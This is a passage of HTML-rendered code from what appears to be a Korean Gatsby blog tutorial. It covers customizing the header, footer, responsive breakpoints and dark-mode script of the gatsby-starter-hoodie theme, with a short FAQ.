  &lt;span class=&quot;token property&quot;&gt;font-size&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; 12px&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;token property&quot;&gt;cursor&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; pointer&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;token property&quot;&gt;transition&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; all 0.2s ease&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;token property&quot;&gt;z-index&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; 1&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;token selector&quot;&gt;.gatsby-code-button:hover&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;token property&quot;&gt;background&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;rgba&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;255&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; 255&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; 255&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; 0.2&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;token property&quot;&gt;color&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; #fff&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h2&gt;헤더/푸터 커스터마이징&lt;/h2&gt;
&lt;h3&gt;헤더 수정&lt;/h3&gt;
&lt;p&gt;헤더는 블로그의 첫인상을 결정합니다. &lt;code class=&quot;language-text&quot;&gt;src/components/Header/index.js&lt;/code&gt;를 수정합니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;javascript&quot;&gt;&lt;pre class=&quot;language-javascript&quot;&gt;&lt;code class=&quot;language-javascript&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;// src/components/Header/index.js&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; React &lt;span class=&quot;token keyword&quot;&gt;from&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;react&quot;&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; styled &lt;span class=&quot;token keyword&quot;&gt;from&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;styled-components&quot;&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; HeaderWrapper &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; styled&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;header&lt;span class=&quot;token template-string&quot;&gt;&lt;span class=&quot;token template-punctuation string&quot;&gt;`&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;
  position: fixed;
  top: 0;
  left: 0;
  right: 0;
  height: 56px;
  background: &lt;/span&gt;&lt;span class=&quot;token interpolation&quot;&gt;&lt;span class=&quot;token interpolation-punctuation punctuation&quot;&gt;${&lt;/span&gt;&lt;span class=&quot;token parameter&quot;&gt;props&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&gt;&lt;/span&gt; props&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;theme&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;headerBackground&lt;span class=&quot;token interpolation-punctuation punctuation&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;;
  backdrop-filter: blur(12px);
  -webkit-backdrop-filter: blur(12px);
  border-bottom: 1px solid &lt;/span&gt;&lt;span class=&quot;token interpolation&quot;&gt;&lt;span class=&quot;token interpolation-punctuation punctuation&quot;&gt;${&lt;/span&gt;&lt;span class=&quot;token parameter&quot;&gt;props&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&gt;&lt;/span&gt; props&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;theme&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;border&lt;span class=&quot;token interpolation-punctuation punctuation&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;;
  z-index: 100;
  display: flex;
  align-items: center;
  justify-content: space-between;
  padding: 0 24px;
  transition: background 0.3s ease;
&lt;/span&gt;&lt;span class=&quot;token template-punctuation string&quot;&gt;`&lt;/span&gt;&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; Logo &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; styled&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;a&lt;span class=&quot;token template-string&quot;&gt;&lt;span class=&quot;token template-punctuation string&quot;&gt;`&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;
  font-size: 1.2rem;
  font-weight: 700;
  color: &lt;/span&gt;&lt;span class=&quot;token interpolation&quot;&gt;&lt;span class=&quot;token interpolation-punctuation punctuation&quot;&gt;${&lt;/span&gt;&lt;span class=&quot;token parameter&quot;&gt;props&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&gt;&lt;/span&gt; props&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;theme&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;text&lt;span class=&quot;token interpolation-punctuation punctuation&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;;
  text-decoration: none;

  &amp;amp;:hover {
    color: &lt;/span&gt;&lt;span class=&quot;token interpolation&quot;&gt;&lt;span class=&quot;token interpolation-punctuation punctuation&quot;&gt;${&lt;/span&gt;&lt;span class=&quot;token parameter&quot;&gt;props&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&gt;&lt;/span&gt; props&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;theme&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;primary&lt;span class=&quot;token interpolation-punctuation punctuation&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;;
  }
&lt;/span&gt;&lt;span class=&quot;token template-punctuation string&quot;&gt;`&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;팁&lt;/strong&gt;: &lt;code class=&quot;language-text&quot;&gt;backdrop-filter: blur()&lt;/code&gt;를 사용하면 스크롤할 때 배경이 흐려지는 글래스모피즘 효과를 줄 수 있습니다.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;푸터 추가&lt;/h3&gt;
&lt;p&gt;gatsby-starter-hoodie에는 기본 푸터가 간단하게 되어 있습니다. 커스텀 푸터를 추가해 봅시다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;javascript&quot;&gt;&lt;pre class=&quot;language-javascript&quot;&gt;&lt;code class=&quot;language-javascript&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;// src/components/Footer/index.js&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; React &lt;span class=&quot;token keyword&quot;&gt;from&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;react&quot;&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; styled &lt;span class=&quot;token keyword&quot;&gt;from&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;styled-components&quot;&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; FooterWrapper &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; styled&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;footer&lt;span class=&quot;token template-string&quot;&gt;&lt;span class=&quot;token template-punctuation string&quot;&gt;`&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;
  margin-top: 80px;
  padding: 40px 0;
  border-top: 1px solid &lt;/span&gt;&lt;span class=&quot;token interpolation&quot;&gt;&lt;span class=&quot;token interpolation-punctuation punctuation&quot;&gt;${&lt;/span&gt;&lt;span class=&quot;token parameter&quot;&gt;props&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&gt;&lt;/span&gt; props&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;theme&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;border&lt;span class=&quot;token interpolation-punctuation punctuation&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;;
  text-align: center;
  font-size: 0.85rem;
  color: &lt;/span&gt;&lt;span class=&quot;token interpolation&quot;&gt;&lt;span class=&quot;token interpolation-punctuation punctuation&quot;&gt;${&lt;/span&gt;&lt;span class=&quot;token parameter&quot;&gt;props&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&gt;&lt;/span&gt; props&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;theme&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;textSecondary&lt;span class=&quot;token interpolation-punctuation punctuation&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;;
&lt;/span&gt;&lt;span class=&quot;token template-punctuation string&quot;&gt;`&lt;/span&gt;&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;token function-variable function&quot;&gt;Footer&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&gt;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;
  &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;FooterWrapper&lt;span class=&quot;token operator&quot;&gt;&gt;&lt;/span&gt;
    &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;p&lt;span class=&quot;token operator&quot;&gt;&gt;&lt;/span&gt;
      &lt;span class=&quot;token operator&quot;&gt;&amp;amp;&lt;/span&gt;copy&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;Date&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;getFullYear&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token constant&quot;&gt;AI&lt;/span&gt; &lt;span class=&quot;token constant&quot;&gt;JAVAPARK&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt; Built &lt;span class=&quot;token keyword&quot;&gt;with&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot; &quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
      &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;a href&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;https://www.gatsbyjs.com/&quot;&lt;/span&gt; target&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;_blank&quot;&lt;/span&gt; rel&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;noreferrer&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&gt;&lt;/span&gt;
        Gatsby
      &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;/&lt;/span&gt;a&lt;span class=&quot;token operator&quot;&gt;&gt;&lt;/span&gt;
    &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;/&lt;/span&gt;p&lt;span class=&quot;token operator&quot;&gt;&gt;&lt;/span&gt;
  &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;/&lt;/span&gt;FooterWrapper&lt;span class=&quot;token operator&quot;&gt;&gt;&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;export&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;default&lt;/span&gt; Footer&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h2&gt;반응형 브레이크포인트 조정&lt;/h2&gt;
&lt;p&gt;다양한 디바이스에서 최적의 경험을 제공하기 위해 반응형 디자인을 조정합니다.&lt;/p&gt;
&lt;h3&gt;미디어 쿼리 정리&lt;/h3&gt;
&lt;p&gt;일관된 미디어 쿼리를 사용하기 위해 브레이크포인트를 정의합니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;javascript&quot;&gt;&lt;pre class=&quot;language-javascript&quot;&gt;&lt;code class=&quot;language-javascript&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;// src/assets/theme/breakpoints.js&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; breakpoints &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;token literal-property property&quot;&gt;mobile&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;576px&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
  &lt;span class=&quot;token literal-property property&quot;&gt;tablet&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;768px&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
  &lt;span class=&quot;token literal-property property&quot;&gt;desktop&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;1024px&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
  &lt;span class=&quot;token literal-property property&quot;&gt;wide&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;1200px&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; media &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;token literal-property property&quot;&gt;mobile&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token template-string&quot;&gt;&lt;span class=&quot;token template-punctuation string&quot;&gt;`&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;@media (max-width: &lt;/span&gt;&lt;span class=&quot;token interpolation&quot;&gt;&lt;span class=&quot;token interpolation-punctuation punctuation&quot;&gt;${&lt;/span&gt;breakpoints&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;mobile&lt;span class=&quot;token interpolation-punctuation punctuation&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token template-punctuation string&quot;&gt;`&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
  &lt;span class=&quot;token literal-property property&quot;&gt;tablet&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token template-string&quot;&gt;&lt;span class=&quot;token template-punctuation string&quot;&gt;`&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;@media (max-width: &lt;/span&gt;&lt;span class=&quot;token interpolation&quot;&gt;&lt;span class=&quot;token interpolation-punctuation punctuation&quot;&gt;${&lt;/span&gt;breakpoints&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;tablet&lt;span class=&quot;token interpolation-punctuation punctuation&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token template-punctuation string&quot;&gt;`&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
  &lt;span class=&quot;token literal-property property&quot;&gt;desktop&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token template-string&quot;&gt;&lt;span class=&quot;token template-punctuation string&quot;&gt;`&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;@media (max-width: &lt;/span&gt;&lt;span class=&quot;token interpolation&quot;&gt;&lt;span class=&quot;token interpolation-punctuation punctuation&quot;&gt;${&lt;/span&gt;breakpoints&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;desktop&lt;span class=&quot;token interpolation-punctuation punctuation&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token template-punctuation string&quot;&gt;`&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
  &lt;span class=&quot;token literal-property property&quot;&gt;wide&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token template-string&quot;&gt;&lt;span class=&quot;token template-punctuation string&quot;&gt;`&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;@media (min-width: &lt;/span&gt;&lt;span class=&quot;token interpolation&quot;&gt;&lt;span class=&quot;token interpolation-punctuation punctuation&quot;&gt;${&lt;/span&gt;breakpoints&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;wide&lt;span class=&quot;token interpolation-punctuation punctuation&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token template-punctuation string&quot;&gt;`&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;export&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; breakpoints&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; media &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3&gt;styled-components에서 활용&lt;/h3&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;javascript&quot;&gt;&lt;pre class=&quot;language-javascript&quot;&gt;&lt;code class=&quot;language-javascript&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; media &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;from&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;../../assets/theme/breakpoints&quot;&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; Container &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; styled&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;div&lt;span class=&quot;token template-string&quot;&gt;&lt;span class=&quot;token template-punctuation string&quot;&gt;`&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;
  max-width: 760px;
  margin: 0 auto;
  padding: 0 24px;

  &lt;/span&gt;&lt;span class=&quot;token interpolation&quot;&gt;&lt;span class=&quot;token interpolation-punctuation punctuation&quot;&gt;${&lt;/span&gt;media&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;tablet&lt;span class=&quot;token interpolation-punctuation punctuation&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt; {
    padding: 0 20px;
  }

  &lt;/span&gt;&lt;span class=&quot;token interpolation&quot;&gt;&lt;span class=&quot;token interpolation-punctuation punctuation&quot;&gt;${&lt;/span&gt;media&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;mobile&lt;span class=&quot;token interpolation-punctuation punctuation&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt; {
    padding: 0 16px;
  }
&lt;/span&gt;&lt;span class=&quot;token template-punctuation string&quot;&gt;`&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3&gt;모바일 최적화 체크리스트&lt;/h3&gt;
&lt;p&gt;반응형 커스터마이징 시 다음 항목들을 꼭 확인합니다.&lt;/p&gt;
&lt;ul class=&quot;contains-task-list&quot;&gt;
&lt;li class=&quot;task-list-item&quot;&gt;&lt;input type=&quot;checkbox&quot; disabled&gt; 모바일에서 텍스트가 잘리지 않는지 확인&lt;/li&gt;
&lt;li class=&quot;task-list-item&quot;&gt;&lt;input type=&quot;checkbox&quot; disabled&gt; 코드 블록이 가로 스크롤로 처리되는지 확인&lt;/li&gt;
&lt;li class=&quot;task-list-item&quot;&gt;&lt;input type=&quot;checkbox&quot; disabled&gt; 이미지가 컨테이너 폭을 넘지 않는지 확인&lt;/li&gt;
&lt;li class=&quot;task-list-item&quot;&gt;&lt;input type=&quot;checkbox&quot; disabled&gt; 터치 타겟(버튼, 링크)이 최소 44px 이상인지 확인&lt;/li&gt;
&lt;li class=&quot;task-list-item&quot;&gt;&lt;input type=&quot;checkbox&quot; disabled&gt; 헤더가 모바일에서 적절히 축소되는지 확인&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;크롬 개발자 도구(&lt;code class=&quot;language-text&quot;&gt;F12&lt;/code&gt;)의 디바이스 툴바를 활용하면 다양한 화면 크기를 쉽게 테스트할 수 있습니다.&lt;/p&gt;
&lt;h2&gt;변경사항 적용 및 배포&lt;/h2&gt;
&lt;p&gt;모든 커스터마이징을 마쳤다면 개발 서버에서 결과를 확인하고 배포합니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;bash&quot;&gt;&lt;pre class=&quot;language-bash&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;# 개발 서버에서 확인&lt;/span&gt;
gatsby develop

&lt;span class=&quot;token comment&quot;&gt;# 문제가 없다면 배포&lt;/span&gt;
&lt;span class=&quot;token function&quot;&gt;npm&lt;/span&gt; run deploy&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;주의&lt;/strong&gt;: &lt;code class=&quot;language-text&quot;&gt;gatsby develop&lt;/code&gt;에서는 보이지 않는 문제가 &lt;code class=&quot;language-text&quot;&gt;gatsby build&lt;/code&gt;에서 발생할 수 있습니다. 배포 전에 반드시 &lt;code class=&quot;language-text&quot;&gt;gatsby build&lt;/code&gt;로 프로덕션 빌드를 테스트하세요.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;자주 묻는 질문 (FAQ)&lt;/h2&gt;
&lt;h3&gt;Q1. styled-components를 몰라도 커스터마이징할 수 있나요?&lt;/h3&gt;
&lt;p&gt;네, 기본 CSS 문법만 알면 됩니다. styled-components는 JavaScript 파일 안에 CSS를 작성하는 방식일 뿐, 문법 자체는 CSS와 동일합니다. 백틱(&lt;code class=&quot;language-text&quot;&gt;`&lt;/code&gt;) 안에 일반 CSS를 그대로 작성하면 됩니다. 다만 &lt;code class=&quot;language-text&quot;&gt;${}&lt;/code&gt; 구문으로 JavaScript 변수를 활용할 수 있다는 점이 일반 CSS와 다릅니다.&lt;/p&gt;
&lt;h3&gt;Q2. 테마 수정 후 기존 글 스타일이 깨지는 경우 어떻게 하나요?&lt;/h3&gt;
&lt;p&gt;&lt;code class=&quot;language-text&quot;&gt;gatsby clean&lt;/code&gt; 명령어로 캐시를 초기화한 뒤 다시 빌드해 보세요. 대부분의 스타일 관련 이슈는 캐시 문제입니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;bash&quot;&gt;&lt;pre class=&quot;language-bash&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;gatsby clean &lt;span class=&quot;token operator&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt; gatsby develop&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;그래도 문제가 지속된다면 브라우저 개발자 도구에서 해당 요소를 검사하여 어떤 스타일이 적용되고 있는지 확인합니다.&lt;/p&gt;
&lt;h3&gt;Q3. 다크모드 전환이 깜빡이는 현상이 있습니다.&lt;/h3&gt;
&lt;p&gt;SSR(서버 사이드 렌더링) 시점과 클라이언트 사이드 렌더링 시점의 테마가 다르면 깜빡임이 발생합니다. &lt;code class=&quot;language-text&quot;&gt;gatsby-ssr.js&lt;/code&gt;에서 초기 테마를 설정하는 스크립트를 &lt;code class=&quot;language-text&quot;&gt;&amp;lt;body&gt;&lt;/code&gt; 태그 앞에 삽입하면 해결됩니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;javascript&quot;&gt;&lt;pre class=&quot;language-javascript&quot;&gt;&lt;code class=&quot;language-javascript&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;// gatsby-ssr.js&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;export&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;token function-variable function&quot;&gt;onRenderBody&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token parameter&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; setPreBodyComponents &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&gt;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;token function&quot;&gt;setPreBodyComponents&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;
    &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;script
      key&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;theme-script&quot;&lt;/span&gt;
      dangerouslySetInnerHTML&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;token literal-property property&quot;&gt;__html&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token template-string&quot;&gt;&lt;span class=&quot;token template-punctuation string&quot;&gt;`&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;
          (function() {
            try {
              var mode = localStorage.getItem(&apos;theme&apos;);
              if (mode) {
                document.body.className = mode;
              }
            } catch (e) {}
          })();
        &lt;/span&gt;&lt;span class=&quot;token template-punctuation string&quot;&gt;`&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
      &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;token operator&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
  &lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
